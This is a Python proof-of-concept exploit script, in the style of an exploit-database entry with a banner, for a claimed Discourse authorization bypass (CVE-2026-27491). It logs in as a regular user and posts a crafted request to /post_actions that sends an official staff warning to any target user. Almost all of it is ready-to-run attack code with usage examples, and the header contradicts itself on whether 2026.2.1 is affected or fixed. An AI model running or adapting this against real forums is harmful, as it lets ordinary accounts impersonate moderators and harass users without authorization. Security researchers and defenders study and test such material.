#!/usr/bin/env python3
# Exploit Title: Discourse <= 2026.2.1 Authenticated Missing Authorization (Official Warnings Bypass)
# CVE: CVE-2026-27491
# Date: 2026-03-21
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.discourse.org
# Software Link: https://github.com/discourse/discourse
# Affected: Discourse <= 2026.2.1 (and earlier unpatched releases in 2026.x / 3.2.x branches)
# Tested on: Discourse 3.2.x (pre-patch)
# Category: Webapps
# Platform: Ruby on Rails
# Exploit Type: Remote Authorization Bypass
# CVSS: 6.5 (Medium) – AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
# CWE: CWE-862
# Description: Authenticated non-staff users can issue official staff warnings to other users
# by abusing type coercion in the post_actions endpoint (notify_user action).
# Fixed in: 2026.1.2, 2026.2.1, 2026.3.0-latest.1
# Usage:
# python3 exploit.py <target_url> --username <user> --password <pass> --target-user-id <id> --post-id <post_id>
#
# Examples:
# python3 exploit.py https://forum.example.com --username regular --password pass123 \
# --target-user-id 456 --post-id 7890
#
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-27491 • Discourse → Issue Official Warnings as Non-Staff ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import argparse
import requests
import sys
from urllib.parse import urljoin
def get_csrf(session, base_url):
r = session.get(urljoin(base_url, "/session/csrf"))
if r.status_code != 200:
print("[-] Failed to fetch CSRF token")
sys.exit(1)
data = r.json()
csrf = data.get("csrf")
if not csrf:
print("[-] CSRF token not found")
sys.exit(1)
return csrf
def login(session, base_url, username, password):
csrf = get_csrf(session, base_url)
login_url = urljoin(base_url, "/session")
payload = {
"login": username,
"password": password,
"second_factor_method": 1,
"value": "",
"use_another_method": False,
"remember_me": False,
"csrf": csrf
}
r = session.post(login_url, json=payload)
if r.status_code != 200 or not r.json().get("success"):
print("[-] Login failed - check credentials")
sys.exit(1)
print("[+] Login successful")
return get_csrf(session, base_url) # refresh csrf after login
def issue_warning(session, base_url, post_id, target_user_id, message):
csrf = get_csrf(session, base_url)
url = urljoin(base_url, "/post_actions")
payload = {
"id": post_id,
"post_action_type_id": 4, # notify_user
"message": message,
"is_warning": "true", # string that triggered the bypass
"username": f"user_{target_user_id}",
"take_action": True,
"csrf": csrf
}
headers = {
"X-CSRF-Token": csrf,
"Accept": "application/json, */*",
"Content-Type": "application/json"
}
r = session.post(url, json=payload, headers=headers)
if r.status_code == 200 and "success" in r.text.lower():
print("[+] SUCCESS: Official warning sent!")
print(f" → Target user ID: {target_user_id}")
print(f" → Message: {message}")
print(" → Should now appear in target user's inbox as staff warning")
else:
print(f"[-] Failed ({r.status_code})")
try:
print(r.json())
except:
print(r.text[:400])
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-27491 PoC - Discourse non-staff official warning bypass"
)
parser.add_argument("target", help="Target Discourse URL (e.g. https://forum.example.com)")
parser.add_argument("--username", required=True, help="Non-staff username")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--target-user-id", type=int, required=True, help="User ID to send warning to")
parser.add_argument("--post-id", type=int, required=True, help="Any post ID visible to the account")
parser.add_argument("--message", default="This is an unauthorized official warning test", help="Warning text")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0 (PoC)"})
print(f"[*] Target: {args.target}")
login(s, args.target, args.username, args.password)
print(f"[*] Attempting to issue warning to user ID {args.target_user_id} via post {args.post_id}")
issue_warning(s, args.target, args.post_id, args.target_user_id, args.message)
if __name__ == "__main__":
main()